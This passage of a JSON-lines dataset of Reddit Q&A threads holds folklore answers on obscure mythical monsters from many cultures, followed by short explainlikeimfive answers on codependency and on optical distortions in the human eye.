about a strange and obscure monster, please do tell us about it in some detail, and don't just drop a name or a link to Wikipedia.\n\nAlso going to be aggressive in pruning off topic discussion. So the threads on Sesame Street and Pokemon are gone.", "The [Selkie](_URL_0_) of Scotland is a seal who can shed its skin to become human. There are many legends about them, but a typical one is a man who saw a seal come on shore, shed its skin, and become a beautiful woman. He stole the skin without her knowledge, and she could not turn back. He married her and they lived happily together for twenty years, raising children, until one day she found the skin at the bottom of a trunk. She went to the sea, donned the skin, and was never seen again.", "[The Wild Hunt](_URL_0_) has always fascinated me. Please forgive the Wikipedia link, but it is already extremely well-sourced, and is a nice overview because the myth is cross-cultural in Europe. It likely stems from a pre-historic Indo-European warrior cult, so the derivative legends are found amongst Scandinavians, Celts, Germanic tribes and others.\n\nBasically, it's a spectral hunting party that roams the nights. The participants are sometimes thought of as the dead, sometimes as faeries. The leader was culturally dependent (Odin amongst the Norse, Gwyn ap Nudd for the Welsh, King Arthur for some). Seeing it was often thought to be a sign of war or other disaster. Sometimes mortals would be swept into the Hunt and forced to ride with it forever.", "[The Krasue!](_URL_0_)\n\nThe floating head of a young, beautiful woman with all her guts dangling from her neck.  Found in several Southeast Asian traditions (Thailand, Cambodia, Indonesia, Malaysia for example).  During the day, the Krasue hides in a normal body.  At night, the head and guts detach for the hunt! The Krasue preys at night on everything from water buffalo to pregnant women (some versions even have the Krasue attacking the unborn child with a probiscis!).  \n\nAfter its grisly feeding, the Krasue wipes its mouth on clothing left outside overnight.  If you want clean laundry, you have to bring your clothes in at night.  \n\n[This is one of my favorite depictions of the Krasue.](_URL_1_)", "If you have never heard of Spring-Heeled Jack, he is worth looking up. He was sort of a  19th century Mothman. He was sighted regularly for about 70 years in and around London.", "the mananannggal of the philippines\n\nsomewhat related to the penanggalan of malaysia\n\nso these are malay vampires, always female, and during the day they are attractive women. at night they leave their legs/ lower bodies in a large jar, then fly/ hover around as a disembodied midsection with head/ just organs dangling from a head\n\npretty creepy\n\n_URL_1_\n\n_URL_2_\n\nand... i just learned in this thread, the krasue of thailand\n\n_URL_0_\n\n", "The Japanese (of course) [Ningen](_URL_1_) always strikes me as particularly scary for sea-monsters, probably due to the somewhat humanoid elements and the sheer size it supposedly has. Not particularly 'interesting' in the sense of it having crazy behaviour though, just its appearance.\n\n_URL_0_\n\nThe entire Cryptid wiki is a good read for this thread :)", "[Ahuizotl](_URL_1_! [Historical representation](_URL_7_). [Artistic representation](_URL_0_). [Very artistic representation](_URL_5_). [NSFW, WTF I looking at Representation](_URL_2_). There's apparently also a [My Little Ponyzotl](_URL_3_).\n\nA monster in [Lake Texcoco](_URL_4_), it had a long tail with a human hand on the end that it would use to pull victims down into the depth. It could then feast on the eyes, teeth, and nails of the victim before discarding the rest of the body, leaving the bloated corpse to float back up to the surface. When hungry, it would lure victims by crying like a child in distress.\n\nAlso the name of my favorite [Aztec ruler](_URL_6_) (check the name glyph).", "Icelandic folklore has it's fair share of mythical creatures. I'll give you a quick rundown of the most notable creatures, but this is just the tip of the iceberg of the diverse mythical fauna that supposedly inhabits our icy island.\n\n\nNykur:\nA malicious lake or stream dwelling creature, that for the untrained eye will look like a beautiful horse. Onlookers will find themselves compelled to ride this majestic creature, but once they hop on it's back they will find themselves stuck, and then the Nykur will race off to the nearest body of water and drown the rider. If you want to avoid getting yourself in a possible demon horse drowning scenario, always look at a horse's hooves before climbing onto it's back. If the hooves are facing backwards, it's a Nykur allright (in some cases the ears might be facing backwards as well). If you fail to do this and you find yourself racing a Nykur towards the nearest lake, speaking a word starting with the letter \"N\" or crossing your chest might allow you to get unstuck before reaching the water.\n\n\nSkoff\u00edn:\nThe unholy offspring of a fox and a cat. If the creature is not killed instantly when it's born it will bury itself deep into the ground where it will remain for 3 years. When it is fully mature it rises from the ground, killing anything that meets it's gaze. If the Skoff\u00edn is allowed to bury itself into the ground, it's recommended that you build a hut over it's \"grave\" and line the inside with mirrors. When the Skoff\u00edn rises the first thing it sees is itself, causing it to die. If the Skoff\u00edn escapes this trap then you're in trouble since it's almost impervious to conventional weaponary(!) Although silver buckshots and \"glass-hard sheep droppings\" loaded into a musket have been known to kill them.\n\n\nHafg\u00fafa (a.k.a. Kraken or Leviathan):\nThe largest creature known to man. It's form is that of a gigantic octopus with eight arms, and in all probability there are only two such creatures in all of creation. Thankfully, they can't breed, but if they could there would be no fish in the sea for men to eat. The Hafg\u00fafa is often mistaken by fishermen for an island simply because of it's sheer size.\n\n\nBjarnd\u00fdrak\u00f3ngur (Polar bear king):\nThe greatest of all Polar bears is the Polar bear King. It's appearance is that of an unusually large polar bear with red cheeks and a large horn protruding from it's forehead, which lights up during the night in order to guide his pack. The PBK is very wise, mild tempered and can understand human speech. Seldomly attacks humans and has in fact been know to defuse hostile human/polar bear scenarios.\n\n\nThese are just a few that come from the top of my head, but Iceland also has tales of Shell monsters, Seal mothers, Wyrms, Seacows and about every combination of a farm animal and a whale there is (yes, yes, cat whales, horse whales, mouse whales, cow whales etc.), and lots lots more.\n\n\n*Source: J\u00f3n Baldur Hl\u00ednberg, \u00cdslenskar kynjaskepnur, 2008 Reykjavik.*", "[Here's](_URL_0_) a picture I took in an exhibit called *Beautiful Monsters: Beasts and Fantastic Creatures in Early European Prints*.  Created around 1450 or so from what I remember.  Fantastic exhibit and it was neat to see the real prints.  Hope you enjoy as I can't contribute an answer to your question, but I first thought of this while reading your post.\n\nSome other prints from 1400-1500ish [here](_URL_1_).\n\n", "The Bell Witch always scared the shit out of me. President Jackson even said he had an encounter with the thing. It would beat the daughter, Betsy, but favored the mother by giving her hazelnuts, her favorite, when she was sick. It was said that once John Bell and his family tried to leave. As they fled, a wheel was was flung from their wagon on the middle of the street by an invisible force. The townspeople heard a hollow voice say \"I will follow you to the ends of the earth.\" At one point, they hired a witch doctor. As soon as he entered the house, he ran out screaming there were needles being stuck into every part of his skin. The Bell Witch is definitely a creepy one. Another good American tale is of the boohag. Worth looking up. ", "How about the Scottish Kelpie, a horse that lives under water and comes up to entise people to ride him, and then  drowns them,.\n\nThis and others can be found in \"Folklore of the Scottish Highlands\" by Ann Ross.", "My favorite is the rolang of Tibet, a zombie that is said to either be conjured or the result of demonic possession of the deceased (or according to some stories, the living as well) by *gdon* or *bgeg* spirits. It's steeped in Buddhist and pre-Bhuddist (Bon) tradition and doctrine, but the practical result is 3-day to week-long funerals where \"pillow watchers\"--usually lamas specially trained to exorcise evil spirits-- keep watch over the corpse at night to ensure it doesn't rise. Rolangs can pass on \"rolang sickness\" to their victim via placing its palm on the victim's forhead, which kills and then reanimates the victim as a rolang but not before first driving him/her insane. Some traditions assert five classifications or rolang: skin, blood, flesh, bone, and mole, with each being harder to kill and more powerful than the last (in that order, ascending). Each moniker corresponds to the rolang's weakness: skin must be cut, blood must bleed, flesh must have certain figures carved upon them, bone must be broken, and mole can only be attacked at their (sometimes hidden) moles. Other traditions require attacks be made with religious objects, or exorcisms be performed, or in one account having a shoe thrown at them, to destroy the rolang. Just picturing these stiff, silent (rolangs can't speak) figures traversing the barren plateaus and windswept passes of the region gives me shivers. Even more, some stories assert that there exist monasteries deep in the mountains where rolangs who could not be destroyed were trapped, and there remain in the cold darkness.\n\n**Sources:**\n\nTurrell Wyliek, \"Ro-Langs: The Tibetan Zombie\", History of Religions, Vol. 4, No. 1, 1964\n\nCharles Ramble, \"Temporal Disjunction and Collectivity in Mustang, Nepal\", Current Anthropology, Vol. 43, August-October 2002\n\nAntonio R. Gualtieri, \"Landscapes, Conciousness, and Culture\", Religious Studies, Vol. 19, No. 2, 1983\n\nSorry for the paywall sources! I couldn't find a wikipedia link.\n\nEdit: Spacing and show/shoe", "[The Kurupi](_URL_0_). A Paraguayan mythical creature with a penis so big that he has to wrap it around his waist. That is his trademark. ", "The Choctaw had a few good ones; Bohpoli was a little man who lived in the forest and would throw rocks and sticks at you. Not to harm you, but just to screw with your head. Kashehotapalo was a man with a deer's head or just deer antlers who liked to frighten hunters by running past them and screaming. Nalusa Falaya, the long black being was a shadow creature who slid on his belly like a snake. I don't think he would usually harm people although there was another shadow being who did harm people. There were white skinned people who lived in the water who were very similar to a number of European water-swelling fairies.", "There's the Bonnacon. A ox-like creature known to defend itself by spraying acidic shit at anyone who bothers it.\n\n_URL_0_", "I question I can finally answer!\n\nMy all time favorite mythical creature is Mokole-Mbembe\n\n\nHe is a Sauropod that lives in the Congo River Basin. In the Lingala native language his name translates to \"One Who Stops The Flow Of Rivers.\" Some people believe him to be more like a spirit who will only visit those who are worthy and some believe him to be an actual creature. Look him up, he's awesome. \n\n", "[Domovoi](_URL_0_)\n\nCool Eastern European house spirits.  Featured prominently in [Quest for Glory IV: Shadows of Darkness](_URL_1_)", "Here's a good one: Humbaba (also called Huwawa), from the Babylonian Epic of Gilgamesh. He was the guardian of the pine forest, where the gods lived. He was slain by king Gilgamesh and Enkidu (Gilgamesh's savage best-friend).\n\nHere's a description from tablet III (Old Babylonian Version):\n\n\"Huwawa's shout is the flood-weapon, His utterance is Fire, His breath is Death.\"\n\n[Here's an old clay sculpture of Humbaba.](_URL_0_)", "In the Philippines, land of my birth, current residence, there is a creature called a 'Tikbalang.' It has the body of a man, but get this, the head of a horse! Now, the chosen abode of the tikbalang are these large trees beside cemeteries. In media, they are often portrayed smoking a rolled tobacco. They are harmless. \n\nThe 'sigbin' is also another interesting creature. The sigbin story is from the Visayas region. From what my sources have told me, that is, my relatives, friends and acquaintances, it is a four-legged creature, something resembling a goat. I don't know if it has any magical properties or anything. It's more in the realm of cryptozoology. Now, what is interesting about the sigbin is that it is summoned by whispering incantations onto a cluster of special stones. The reason I know this is because my uncle is claimed to own one. He supposedly hides the rocks at the top of a tall coconut tree so other people won't steal it. He acquired said sigbin from an older drinking buddy who died who was also known as a sort of herbal healer. \n\nThe 'bakunawa' is my favorite of all Philippine mythical creatures. Accounts differ. Some say it is a very very large bird. Others claim it is a fish. Some say it is some sort of dragon-creature. Whatever the form is, all agree regarding the immensity of its size, and that it is the reason why there are eclipses - because it swallows the sun.\n\nPhilippine mythology is populated with creatures that are also found in other Southeast Asian cultures. The word 'pontianak' is shared with Indonesia for example, but the meaning is different. A pontianak in Indonesia is this weird creature that can separate its head that is connected with its internal organs, and just floats around scaring people. In the Philippines, in the Visayas especially, a pontianak or 'tiyanak' is this zombie-infant that attacks people. It has been the subject of numerous badly-made local films.\n\nLastly, the 'aswang' is a particularly interesting creature in Philippine mythology, as people here really seem to have a fascination-horror-belief of it. It is a viscera-eater. Usually aswang are female, but there are also cases where they are men. They have this special oil they rub on their body so they can transform into another form. They can appear human, but with bloodshot eyes. They can take the form of domesticated animals such as dogs or pigs.* They like hanging around rooftops at night on houses where there's a pregnant woman. They have long tongues which they snake down from a hole in the roof and onto the belly of the woman. It then sucks the fetus and also the amniotic fluid and maybe even a piece of the mum's organs, I dunno. \n\nA manananggal is a type of aswang. Its distinguishing ability is that it can separate the upper and lower halves of its body. It has bat-wings and is almost always female. The upper-half flies while the lower-half is hidden behind tall grasses or someplace. One way to scare away aswang is by placing crosses on the entrances of the house. Garlic is also used. If you find the lower-half of the manananggal, you can place chili or holy water or garlic, or a combination of all these so that it cannot re-connect with its body.\n\n*An aswang joke I once heard (R-18): An aswang came home one night very disheveled. Her mother asked what has happened to her, has she escaped a beating? No, she said. I changed into a pig after eating a child, and hid in someone's pig pen after being chased by people. Then why are you all disheveled like that? Well, I was hiding there in the dark, and failed to notice there was a large boar in the pen with me.\n\n\nEDIT: It appears what I described as 'pontianak' is actually 'krasue' in Indonesia. _URL_0_\n\nEDIT 2: Realized I first encountered the Krasue in Shintaro Kago's manga story 'Head Prolapse Elegy,' where it is called a 'pontianak,' thus the confusion. ", "One of my favorite books is *[Japanese Tales](_URL_0_)* edited and translated by Royall Tyler. I first read it as a teenager and, as such, quickly flipped my way through to the more salacious tales (of which there were many!). This was my first encounter with *oni* (\u9b3c) a fierce and brutish monster generally translated as \"orge\" or \"demon\" in English.\n\nMy favorite oni tale is one called \"A Memorable Empress\" (originally from \"Konjaku Monogatarishu\" \u4eca\u6614\u7269\u8a9e\u96c6). In it a mountain hermit with magical skills heals the empress of a malady. Later he sees her in her near-transparent summer gown is so overcome with lust that he assaults her and is thrown into prison. Knowing he cannot consummate his desire with the empress as he is now, he fasts until he dies of starvation and becomes an oni (\"Naked, bald, eight feet tall, and with black glistening skin. His eyes were like brass bowls and his gaping mouth bristled with knifelike teeth, while short tusks crossed each other from the corners of his upper and lower jaws.\"). He then bewitches the empress so that she behaves as if he is her lover.\n\nThe oni then comes daily to \"visit\" the empress. The emperor rounds up the holiest of men to subdue the oni and it seems to work as the oni stops coming to visit the empress, who begins come back to her normal self. Pleased at this, the emperor (along with his whole court) comes to see her. At that moment the oni returns and \"there, in the sight of them all, the pair brazenly performed an unspeakable act\". The oni then leaves, the empress withdraws and the emperor --at a loss of what to say or do-- returns to his palace.\n\nThe story ends with an amusing moral that \"noble ladies then take heed and allow no such hermit to approach them!\"\n\nJapanese folktales are really interesting as pretty much anything can become a \"monster\" (for lack of a better word). Even mundane things like shoes, umbrellas or futons. Animals can also have magical powers. Foxes and tanuki appear in many tales as shapeshifters and tricksters. Interestingly, in *Japanese Tales* the animal that appears most often in tales that deal with \"taboo issues such as sexuality\" are snakes. Off of the top of my head I can recall two stories. One about a snake who falls in love with a woman as she is squatting down to urinate, mesmerizing her and leaving her frozen in that position. Another is of a young man who dreams of having sex with a beautiful woman. He wakes up to see a dead snake lying next to him, it's mouth full of semen. There are also plenty of tales of men encountering a beautiful woman on the roadside and having sex with her only to wake up later and find themselves embracing a skeleton.\n\n\n\n\n", "In Slavic folklore there's the Baba Yaga, a scary looking hag who lives in a house that stands on chicken legs. She also flies around in a mortar while wielding a pestle.\n\nAlthough they look super creepy ([Picture](_URL_0_)), their morality is somewhat ambiguous, and they can be either helpful (helping you find your way in the forest) or harmful (eating you).", "The Cockatrice. _URL_0_\n\nA two legged dragon with a poisonous bite and capable of turning you to stone by looking at you. Only the weasel is immune to its gaze. They were said to be born from an egg laid by a cock and incubated by a toad.", "Rokiro-kubi, Japan -- Humans whose heads leave their bodies at night in search of (human) prey\n\nBerbalang, Philippines -- Kind of like vampires with glowing eyes and wings that can astral-travel. They either dig up graves or their spirits leave their bodies in search of (you guessed it) human prey. Their cry gets quieter the closer they get to you. They can be fended off with a knife with lime juice on the blade, but really only a coconut pearl will keep you safe.", "The [Sennentuntschi](_URL_0_) from the Swiss alps. In the summer, cowherds live in cabins high up in the alpine meadows, milking the cows and making cheese. They're men only, so they yearn for some female companionship. So they decide to make a life size doll out of cowhide and straw. They speak with her, feed her and \"sleep\" with her. When in autumn the cow herders make ready to descend to the valleys for the winter, the doll becomes alive and declares that she will only let them leave when one of them stays behind to keep her company. They find they can't leave until they actually decide who stays. When they eventually leave, having draws straws and leaving one behind, they see the Sennentuntschi spreading a flayed human skin on the roof of the cabin.\n\n[Swiss movie](_URL_1_) made about this myth: see the [trailer](_URL_2_).", "Ogopogo! From the Okanagan lake by Penticton.\n\nEdit: Just saw the mod post regarding comprehension. So, think Canadian Nessie. It . . . . really is that simple. But I bet you didn't know about it!", "I read [A Field Guide to North American Monsters](_URL_1_) when I was younger and liked it so much I planned to travel around the country once I was old enough to visit the places these things supposedly live.\n=\nThe **Baykok** is definitely a good one. \n\n > Described as \"Death\" in The Song of Hiawatha, it is said to appear as an extremely emaciated skeleton-like figure, with thin translucent skin and glowing red points for eyes. The Baykok preys upon warriors and does so ruthlessly, using invisible arrows or beating its prey to death with a club. The Baykok, after paralyzing or killing its prey, then devours the liver of its victim.\n\n=\nThe **Dover Demon** is good too, although I don't know if that is too extraterrestrial in origin for this thread.\n\n > The Dover Demon was first seen outside near a bar by three seventeen-year-old boys who were driving through the Massachusetts area when the car's headlights illuminated it. Bill Bartlett, the driver, reported that he saw what he thought at first was a dog or a cat, but upon closer inspection realized that it was a bizarre, unearthly-looking creature crawling along a stone wall on Farm Street.\n\n > Bartlett continued to watch the creature, and he reported it to have a disproportionately large, watermelon-shaped head and illuminated orange eyes, like glass marbles. It had long, thin arms and legs with slender fingers, which it used to grasp onto the pavement. It was hairless and had rough, flesh-toned skin, described as tan and sandpaper-like. The creature's appearance was very plain, with no nose or ears, and no mouth was seen. The witness drawings portray its head as having a skull shape, forming the contour of a circle on top with a more elliptical ending projecting down to include where the nose and mouth would be.\n\n > Other witnesses have claimed the creature had green eyes and seemingly smooth, chalky gray toned skin, three feet tall, and made a bloodcurdling noise, similar to a hawk's screech combined with a snake's hiss. But all witnesses say it had no ears, mouth, nose, or known sex.\n\n > The creature was sighted again an hour later, by John Baxter, 15, and Pete Mitchell, 13, as they were walking home. He said it was bipedal and ended up running into a gully and standing next to a tree. The next day, Abby Brabham, 15, and Will Traintor, 18, driving down Springdale Avenue, claimed to have seen a similar-looking creature from Traintor's car, on the side of the road. Brabham's description matched Bartlett's and Baxter's descriptions, except this time the cryptid had illuminated green eyes. She approximated its height as \"about the size of a goat\". Investigators attempted to shake up Ms. Brabham by noting she said it had green eyes reflected by car headlights, while Bartlett mentioned orange eyes were reflected back to him by his automobile's lights. Ms. Brabham was steadfast in her description.\n\n > Bartlett, Baxter, Brabham, and Traintor all drew sketches of the monstrous sight shortly after their sightings. On the piece of paper that includes Bartlett's sketch, he wrote \"I, Bill Bartlett, swear on a stack of Bibles that I saw this creature.\"\n\n > [All three sketches are *very* similar](_URL_0_) and none of the witnesses knew each other who had any contact with one another the night of the sightings.\n\n=\n\nThe **Thunderbirds** fit the bill. Massive birds who appear in ancient cave paintings in the Mississippi River Valley. \n\n > Bigfoot researcher and cryptozoology author Loren Coleman wrote about a series of thunderbird sightings in the 1940s. On April 10, 1948, three individuals in Overland, Illinois spotted what they originally thought to be a passing plane, but after seeing a large set of flapping wings, they realized this \"plane\" was something very different. A few weeks later, in Alton, Illinois, a man and his son saw what they described as an enormous bird creature with a body shaped like a naval torpedo. The creature was flying at at least 500 feet and cast a shadow the same size as a small passenger airplane.\n\n > Among the most controversial reports is a July 25, 1977 account from Lawndale, Illinois. About 9 P.M. a group of three boys were at play in a residential back yard. Two large birds approached, and chased the boys. Two escaped unharmed, but the third boy, ten-year-old Marlon Lowe, did not. One of the birds reportedly clamped his shoulder with its claws, then lifted Lowe about two feet off the ground, carrying him some distance. Lowe fought against the bird, which released him.\n", " [Olgoi-khorkhoi, the Mongolian desert death-worm](_URL_0_) . a species of huge red sand worms that supposedly live in the Gobi desert, spew acid and are electrified like eels. Fun times....", "Adamastor was a slumbering giant that guarded the sea passages and prevented ships from ever returning. He was as tall as a mountain, had a Neptunian look and often flew around the armadas while angrily engaging in conversations. Portuguese discoveries epic tale \"Lusiadas\" from circa 1500's mention him and other sea monsters.", "OK, time for something extremely obscure, Um Uhmar (\u062d\u0645\u0627\u0631 \u0623\u0645) or Uhmarat Al Qayla(\u062d\u0645\u0627\u0631\u0629 \u0627\u0644\u0642\u0627\u064a\u0644\u0629).   \nIn the Arabian peninsula, basically, it's a type of Jinn that has donkey legs, come out at midday or at night, depending on where you're from, it would attack and kill kids if its the day one, or it would run on roofs, and sometimes knock them down, and would attack people going out at night if it's the night one.   \nThe afternoon one said to have origins in preventing kids from playing out at midday under the extremely hot sun, I think the night one was just a natural development of a mythical monster.   \nEdit: [Here's an Arabic wiki page](_URL_0_)", "I have a few favourite, semi-obscure monsters:\n\n*Baku*: from various Asian traditions, with some variations, a tapir/elephant thing. Small, with a long trunk. With the back half of a tiger (claws etc). \n\nAlso known as 'The Eater of Dreams'. It's kind of an anti-nightmare. It eats them. Can also turn invisible. Sometimes painted on the nursery walls/equipment of small children to keep the bad dreams away.\n\n*Croquemitaine*: roughly translates form French as 'Mitten Muncher'. A French version of an odd-sock-montser. Where did your mittens go? The Croquemitaine ate them! \n\nNot entirely benevolent/neutral it is (was) also sometimes used as a generic kind of bogeyman. (Be good and don't lose you stuff, Antionette, or the Croquemitaine will get you!)\n\n*Bokkenwolf*: a kind of controlled werewolf. 'Belted Wolf'. A prototale, very Germanic (as suggetsted by the name). Bokkenwolves don't turn at moonlight, they turn when they choose to, using a special magical Wolf Belt. Usually the belt is made from wolf-pelt. Still dangerous and wild, Bokkenwolves can be turned human again by throwing iron over their heads. It's theorised that they're a kind of morality-tale representing *choosing* to give in to animal urges.\n\nand, of course:\n\n*Palatyi beast*: An African bogeyman. Described in various ways, but mostly just as a shadowy creature that hides in the forest and kills you before you know it.Eats dogs and cats. Scratches at the door (DON'T OPEN IT!). So dangerous that no real description exists, may even be a shape-chager. A very obscure one to the point it's sometimes disputed as an invention of post-African cultures (in other words, a slave mythology that came post transportation)", " >  The tales also said that for the price of your soul and/or blood, he could teach you to play the fiddle as masterly as him. For this to happen, you would either seek him out by the stream, or according to some stories at crossroads.\n\n_URL_0_\n\nAccording to legend you can meat the devil at the crossroads of hwy 49 and hwy 61 in Mississippi and sell your soul to the devil to learn how to play the blues. I wonder if that is related. ", "The kappa was a mythical beast that resembled a turtle and a man. It stood upright, and had a turtle shell, as well as a beak. It was said that atop its head there was a small indentation that would fill with water. The kappas favorite food was cucumbers. It's second favorite was human organs as sucked through the anus. The only way to beat a kappa was for it to lose the water on the top of its head, which was actually easy to do. One would simply bow to the kappa. It, being quite a civilized and polite creature, would bow back, spilling the water out of the top of his head, and thus loosing all of his power. Once you beat him, he would owe you one favor.\n\nAnother investing Japanese monster would be the lifeless objects, like the lantern monster. If an object is ignored for too long without being destroyed, it would come to life. \n\nFinally, there is one monster that one of my professors introduced me to a while back. It was a little boy who had a plate of tofu. Apparently, if you ate the tofu, you would die. I really am not sure the origins or the story behind this monster (my professor didn't either). If anyone knows anything about this one, I would love to hear about it.\n\nEdited for words that I can't.", "[Chenoo](_URL_0_), the Iroquois mythical stone people. Shy of humans, they will camouflage themselves against the rocky landscape. ", "Valravn (because of [this band](_URL_1_) who sing about Nordic folklore, and are surprisingly actually folk, and not metal)\n\n > In Danish folklore, a valravn (Danish \"raven of the slain\") is a supernatural raven. The ravens appear in traditional Danish folksongs, where they are described as originating from ravens who consume the bodies of the dead on the battlefield, as capable of turning into the form of a knight after consuming the heart of a child, and, alternately, as half-wolf and half-raven creatures.\n\nAt the bottom of most mythological articles on Wikipedia, they have links to others, I can get lost in browsing those pages.\n\nOh and, browsing pages like [this](_URL_0_) on Wikipedia was kind of a hobby when I wanted names for MMORPG characters. If you search names into Google, you can usually find obscure mythological pages, however I would recommend one with sources of course.", "Squonk from Pennsylvania:\n\n\"The earliest known written account of squonks comes from a book by William T. Cox called Fearsome Creatures of the Lumberwoods, With a Few Desert and Mountain Beasts (1910). Cox's account is reprinted in Jorge Luis Borges' Book of Imaginary Beings (1969).\nThe legend holds that the creature's skin is ill-fitting, and covered with warts and other blemishes, and so it hides from plain sight and spends much of its time weeping.[2] Hunters who have attempted to catch squonks have found that the creature is capable of evading capture by dissolving completely into a pool of tears and bubbles when cornered. A certain J.P. Wentling is supposed to have coaxed one into a bag, which, while he was carrying it home, suddenly lightened. On inspection, he found that the bag contained only the liquid remains of the sad animal.\nThe \"scientific name\" of the squonk, Lacrimacorpus dissolvens, comes from Latin words meaning \"tear\", \"body\", and \"dissolve\".\"", "[Dullahan](_URL_0_)- a creature from scottish folklore. think the headless horseman, he drives a black carriage and has a whip made from a human spine, he rides up during festivals and yells out the name of a person who is about to die.", "The Saci-Perer\u00ea: A Brazilian Myth about a one legged black man that smoked a pipe, turned into a whirlwind, and spoke insults to the women working at kitchens, kind of a prankster. \n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://sv.wikipedia.org/wiki/N%C3%A4cken", "http://sv.wikipedia.org/wiki/Skogsr%C3%A5et", "http://en.wikipedia.org/wiki/Neck_(water_spirit)", "http://en.wikipedia.org/wiki/Huldra"], "answers_urls": [["http://en.wikipedia.org/wiki/Skin-walker", "http://en.wikipedia.org/wiki/Wendigo"], [], ["http://en.wikipedia.org/wiki/Huli_jing", "http://en.wikipedia.org/wiki/Kumiho", "http://en.wikipedia.org/wiki/Kitsune"], ["http://en.wikisource.org/wiki/The_Shadow_Over_Innsmouth", "http://en.wikisource.org/wiki/The_Dunwich_Horror"], ["http://en.wikipedia.org/wiki/Encantado"], [], ["http://www.amazon.com/Giants-Monsters-Dragons-Encyclopedia-Folklore/dp/0393322114"], ["http://en.wikipedia.org/wiki/Nasnas"], ["http://en.wikipedia.org/wiki/Golem", "http://en.wikipedia.org/wiki/Old_New_Synagogue"], ["http://en.wikipedia.org/wiki/Kasa-obake", "http://www.obakemono.com/obake/kameosa/"], ["http://www.jstor.org/stable/646812"], ["http://en.wikipedia.org/wiki/Selkie"], [], ["http://en.wikipedia.org/wiki/Selkie"], ["http://en.wikipedia.org/wiki/Wild_Hunt"], ["http://en.wikipedia.org/wiki/Krasue", "http://www.redwombatstudio.com/wpg2?g2_itemId=1681"], [], ["http://www.reddit.com/r/AskHistorians/comments/18ebfd/what_are_some_less_knownto_the_average_redditor/c8e6xr9", "http://www.google.com/search?q=manananggal&amp;tbm=isch", "http://www.google.com/search?q=penanggalan&amp;tbm=isch"], ["http://cryptozoologycryptids.wikia.com/wiki/Ningen", "http://forgetomori.com/wp-content/uploads/2007/11/ningenal.jpg"], ["http://paizo.com/image/content/Kingmaker/PZO9034-Ahuizotl.jpg", "http://en.wikipedia.org/wiki/Ahuizotl_(creature)", "http://fc05.deviantart.net/fs50/f/2009/305/b/d/Ahuizotl_Nae_by_v_e_r_a.jpg", "http://images.wikia.com/mlp/images/8/8e/Ahuizotl_S2E16_thumb.png", "http://en.wikipedia.org/wiki/Lake_Texcoco", "http://americanmonsters.com/site/wp-content/uploads/2009/12/ahuizotl3.jpg", "http://en.wikipedia.org/wiki/Ahuitzotl", "http://1.bp.blogspot.com/_9py6IgNlFak/TF1PPgvsY5I/AAAAAAAAAjM/GBFas8NBOBg/s1600/Ahuizotl.jpg"], [], ["http://i.imgur.com/45cp1Snh.jpg", "http://imgur.com/a/oVWAT"], [], [], [], ["http://en.wikipedia.org/wiki/Kurupi"], [], ["http://en.wikipedia.org/wiki/Bonnacon"], [], ["http://en.wikipedia.org/wiki/Domovoi", "http://en.wikipedia.org/wiki/Quest_for_Glory:_Shadows_of_Darkness"], ["http://imgur.com/xxtzi8y"], ["http://www.reddit.com/r/AskHistorians/comments/18ebfd/what_are_some_less_knownto_the_average_redditor/c8e6xr9"], ["http://www.amazon.com/Japanese-Tales-Pantheon-folklore-library/dp/0375714510/ref=sr_1_1?ie=UTF8&amp;qid=1360727633&amp;sr=8-1&amp;keywords=japanese+Tales"], ["http://i.imgur.com/77KUqrv.jpg"], ["http://en.wikipedia.org/wiki/Cockatrice"], [], ["http://de.wikipedia.org/wiki/Sennentuntschi", "http://www.imdb.com/title/tt1296077/", "http://www.youtube.com/watch?v=Vqm-fli7T6Q"], [], ["http://www.cellarwalls.com/ufo/demonpics.htm", "http://www.amazon.com/Field-Guide-North-American-Monsters/dp/0609800175/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1360745584&amp;sr=1-1&amp;keywords=field+guide+to+north+american+monsters"], ["http://en.wikipedia.org/wiki/Mongolian_Death_Worm"], [], ["http://ar.wikipedia.org/wiki/%D8%AD%D9%85%D8%A7%D8%B1%D8%A9_%D8%A7%D9%84%D9%82%D8%A7%D9%8A%D9%84%D8%A9"], [], ["http://www.mrjumbo.com/contents/delta99/3delta/clarksdale.html"], [], ["http://www.mythicalcreaturesguide.com/page/Chenoo"], ["http://en.wikipedia.org/wiki/Category:Goddesses", "https://www.youtube.com/watch?v=I6OqDZft42s"], [], ["http://dullahan.com/"], ["http://en.wikipedia.org/wiki/Saci_(Brazilian_folklore)"]]}
{"q_id": "6fq1po", "title": "codependency", "selftext": "I'm reading \"Codependent No More,\" and I understand the codependency in extreme situations, but I'm confused about the subtleties. Can someone explain what codependency is?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6fq1po/eli5_codependency/", "answers": {"a_id": ["dikca8u", "dikjzw3"], "score": [2, 3], "text": ["The way I understand it, please correct if wrong because it's tricky:\n\nWhen a person in the relationship is so concerned with the needs of the other that they neglect their own needs to the point that it becomes a detriment.\n\nExample: \"Where do you want to eat tonight?\" \"Wherever you want.\"", "Putting the needs of others ahead of your own, to the point where you are not taking good care of yourself.\n\nOften mentioned in situations where that \"other\" person has a substance addiction or other destructive habit, and the \"codependent\" person works so hard to take care of them, it ends up \"enabling\" them to do their bad habit even more.\n\n/r/Codependency/\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ir6gb", "title": "why don't human eyes suffer from lens defects like chromatic abberation and radial distortion?", "selftext": "Camera lenses are never perfect, they always suffer from defects which cause the projected image to be distorted in some way. Since human eyes function pretty much in the same way as camera lenses do, why don't we suffer from these distortions?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ir6gb/eli5_why_dont_human_eyes_suffer_from_lens_defects/", "answers": {"a_id": ["cb78d2o", "cb7c8j3", "cb7d201"], "score": [10, 3, 2], "text": ["We do, actually, you're just used to them and don't think of them like a distortion because it's what you expect. For example, that weird \"star-like\" flare that you see surrounding things like streetlights ([example](_URL_0_)) is a lens distortion in your eye.\n\nYou also have to remember that our brain does a lot of work to automatically process the image that our eyes pick up. It's almost like you're using a camera that auto-detects common distortions and corrects for them before you ever see the photo.", "This will blow your mind, the end bit about seeing the blood vessels in your eye [Link](_URL_0_)", "I noticed that the color saturation was different between my two eyes. Glasses do not only change the sharpness but saturation,too for me. Worked for my mother,too. I guess you'll notice it when you pay attention to it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://image.made-in-china.com/2f0j00pCdTlgqhhLoi/LED-Street-Light-Road-Lamp-SP-1001-.jpg"], 